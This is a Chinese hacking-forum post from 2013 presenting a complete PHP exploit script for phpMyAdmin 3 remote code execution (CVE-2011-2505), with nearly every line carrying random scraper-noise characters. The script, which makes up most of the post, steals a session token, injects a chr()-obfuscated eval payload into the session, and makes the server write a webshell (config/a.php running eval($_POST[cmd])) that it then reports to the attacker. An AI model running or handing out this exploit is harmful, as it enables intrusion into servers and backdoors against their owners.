找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2106|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。4 L7 O7 f& U. |6 m) S8 E9 L
3 Z! z* t- Z# }8 d1 o& ~; R
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
2 ]7 I2 C! x, v  W4 P3 t5 {# d* o' j1 Q: {. E0 W
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:/ [' `4 b9 U3 O4 t: w+ q
一是session.auto_start = 1;
6 F7 N% g" T$ S( c" N) \二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。  M5 L2 e) v0 I5 s  f& ~7 `3 C
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。$ n* n; w+ U( E7 X, c
( @$ n2 ~- M4 F/ g! B0 D
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
2 O# j% [. j+ t% k
0 ~/ x: v* _! E8 b1 U! r" g于是写了这个php版本的exp,代码如下:! Z8 Q. a# o% Z, z

' f' R( q( H5 W0 W' c' P4 O2 i) g#!/usr/bin/php
9 j; F4 w$ G( B- l6 m$ z- Z<?php
) ?, |9 ?9 M; Z/ ~0 Jprint_r('
8 ~1 v0 H( |' n* t1 l' E+---------------------------------------------------------------------------+3 L  I9 U6 E1 a, E3 E7 q, L
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]/ V' d4 ^; ?. ^1 ?( W8 |  I$ Q
by oldjun(www.oldjun.com)
. g7 H- A7 e* A: pwelcome to www.t00ls.net, Z  E' F$ `& @3 B5 @5 H  O8 }
mail: oldjun@gmail.com
& a* I6 y* c6 c# f0 N1 EAssigned CVE id: CVE-2011-2505
: [3 W$ v. U5 Q6 X5 i7 O0 }/ k3 Z) T+---------------------------------------------------------------------------+
3 v( L  x' q- s');4 P; K  M. w# q# z1 u2 a
' a& e" }& v) B6 d# a
/**$ T! ]: y1 w8 z% d  Y
* working when the directory:"config" exists and is writeable.
$ T5 A9 l& R6 J7 a6 L) I**/
' ?2 L* d5 r0 u7 c6 g: R ( Z5 D; z4 J! |0 h
if ($argc < 3) {' p" m) C. y& ?3 d) Z
    print_r('
. X6 m7 Y6 Y# G9 \( j+---------------------------------------------------------------------------+
; x2 W2 a5 W# _4 @! EUsage: php '.$argv[0].' host path
( E; S7 B8 C( D+ ?: n7 Nhost:      target server (ip/hostname)
3 r4 Q) U/ w! B( Npath:      path to pma3
9 \) A2 E; Q5 S" m1 s( hExample:
# H. d: O2 h4 Bphp '.$argv[0].' localhost /pma/: Z6 {% f2 D) l2 Q, [3 l, i. h$ i
+---------------------------------------------------------------------------+( e1 l1 p# y  s9 B
');3 x5 p8 m1 p: Q4 f* c! G
    exit;) u" R9 y! c; {
}( H( U6 O# ]. ~+ U+ S
1 A' v0 `: K# V' }1 R' N, g6 o/ y* p
$host = $argv[1];
% K# S6 C  w7 V3 p2 ~' D! X1 u$path = $argv[2];
9 u0 X8 a) J8 ^/ h7 V& f
; T3 J  w; z$ x* S- ]$ {/**
2 n# K! K2 X/ A0 |9 d' L- N * Try to determine if the directory:"config" exists
; x( o6 y4 j* f**/& l2 R4 ~: x: R$ c5 c, }9 W
echo "[+] Try to determine if the directory:config exists....\n";' B# C5 v* w% f
$returnstr=php_request('config/');# Z6 N& _& o7 y+ o! o3 x" U5 Q5 D
if(strpos($returnstr,'404')){
7 ~7 ]  l$ r- i3 K    exit("[-] Exploit Failed! The directory:config do not exists!\n");
3 A4 n% ?2 ~/ r}
8 e* z: H9 o# t6 S8 v, S+ ^% r4 v& b- p/ y- Y5 d, h: R6 ?
/**+ L! k' A, s8 d4 Q
* Try to get token and sessionid
6 ?  G8 b2 h* _( L**/4 m' r2 k6 Q5 M" m8 Y( @8 I
echo "[+] Try to get token and sessionid....\n";* F( R2 F8 [9 l* E3 K
$result=php_request('index.php');1 W- m- M' X- ?" d9 u
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);) {0 B- v6 s$ a+ {" \2 [+ J0 ]
$token=$resp[3];: x7 n* b7 q0 r9 ~# D" e" q
$sessionid=$resp[1];3 n) T5 S4 V/ m( ]" m9 C
if($token && $sessionid){
2 T5 J1 }1 r9 J, g7 C, y( g$ [    echo "[+] tokentoken\n";
4 U7 s" z  X. m! y! r    echo "[+] Session IDsessionid\n";5 Q4 w: ]# ]8 @; g3 n6 n) [
}else{5 |1 {, q( \$ ^2 r
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");! Q+ ^4 f+ n) s& y) ?  S
}
" n; C. [7 \- {) h1 U! f* S
, T1 W# d7 g" e! @" d; ~+ P* B/**; H. J% h, a& j/ z7 _4 ^  Z0 q. b1 u1 U
* Try to insert shell into session& d# I- ^9 W. |0 ]' d& @
**/7 A8 X9 q1 {" a1 Z4 m
echo "[+] Try to insert shell into session....\n";
0 r$ s( k1 `7 S0 R$ Sphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
/ V2 i0 H+ H  S9 k7 g' [! R' {- d' x1 o
/**/ I5 g: c/ \: |; {4 A* _
* Try to create webshell5 @7 b8 W# ~- j* @! b+ z
**/
8 X! S- f1 Y0 c; u1 Techo "[+] Try to create webshell....\n";
2 t5 g% ]7 o; M" m3 sphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
8 C) v/ C3 M2 d( V& `5 z  _/**
1 \1 `0 ?- G: F, k* t5 W/ |; Q- t * Try to check if the webshell was created successfully4 Z9 R5 k. U1 W# n) l. ^* Z4 q1 c7 w
**/) v; @$ J% L/ E$ l% G
echo "[+] Try to check if the webshell was created successfully....\n";& [+ ~8 Y5 q. t  m/ j
$content=php_request('config/config.inc.php');( c' A7 z8 ~' N3 U8 u
if(strpos($content,'t00ls')){! f- k( _8 S/ ]3 h( P. Z  ?9 e
    echo "[+] Congratulations! Expoilt successfully....\n";
  E* [0 n! d8 P5 T, L0 a    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";: C5 S& m4 \3 W$ S" x
}else{  s3 _0 k2 I- M( l' Q/ w9 a8 Z1 m
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
5 n( F& |8 q9 F# B}2 J. ?) o2 x# j6 U+ V

% D% P" ^2 C- |# K% v% Ofunction php_request($url,$data='',$cookie=''){0 x; l/ G4 S- R/ z1 ?
    global  $host, $path;5 }+ x9 A; B+ a. @, T; |# K  M7 Y  g( m
    ! x' C( v+ R0 i1 q& e% x) H
    $method=$data?'POST':'GET';
" Z8 d" _8 [- E( B( T; O   
( v2 @( X% P+ f7 [+ i" \( n5 C    $packet = $method." ".$path.$url." HTTP/1.1\r\n";0 A( k) T- o5 \- p
    $packet .= "Accept: */*\r\n";* S  B) K6 P8 _6 v
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";, x: ]% |5 ?; U4 _, j4 D
    $packet .= "Host: $host\r\n";
# L3 F/ ^7 n) O0 [  e4 W; P( c    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";2 d, t# n: ]) e. R( h% W: w( g% b
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
2 e5 R" d8 z) w) z$ F$ V2 {    $packet .= $cookie?"Cookie: $cookie\r\n":"";
7 X/ h1 a3 o/ x7 A: r9 v/ |' E    $packet .= "Connection: Close\r\n\r\n";
" b7 r5 T& a1 y. F0 f) ]. E4 [    $packet .= $data?$data:"";
( j! U0 {3 e3 A1 O$ U$ q; [$ H: g/ j
2 K7 C' e4 ]2 J# \    $fp = fsockopen(gethostbyname($host), 80);
7 o: r9 S; p' d3 d2 l: E    if (!$fp) {; _, _/ Y. w/ C' ?: z& p3 _% V
    echo 'No response from '.$host; die;
! w8 N# e6 G% f- V+ [/ P; H    }
  Y, n! g  G) }: G% q" J' Y( ^    fputs($fp, $packet);
9 g% e+ W9 w* I" z
& G* i% R5 x1 \6 _% ]' I    $resp = '';9 e3 ~. F6 B( s8 _5 J% s1 P

6 C" u" G2 t, |' c1 V    while ($fp && !feof($fp))
1 {4 |7 l  V3 y' U2 o# R        $resp .= fread($fp, 1024);; [" E9 J; W7 X! @/ H

; ?/ g# H1 |, H6 P( r+ k% C% \    return $resp;
8 W4 m( N  w$ {. v4 N}
5 O& ]# A/ u: c5 \; H( c1 W7 o   
* ~! |- ?8 S6 Y" G  L?>
8 e% K& f  p, B& p  V.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表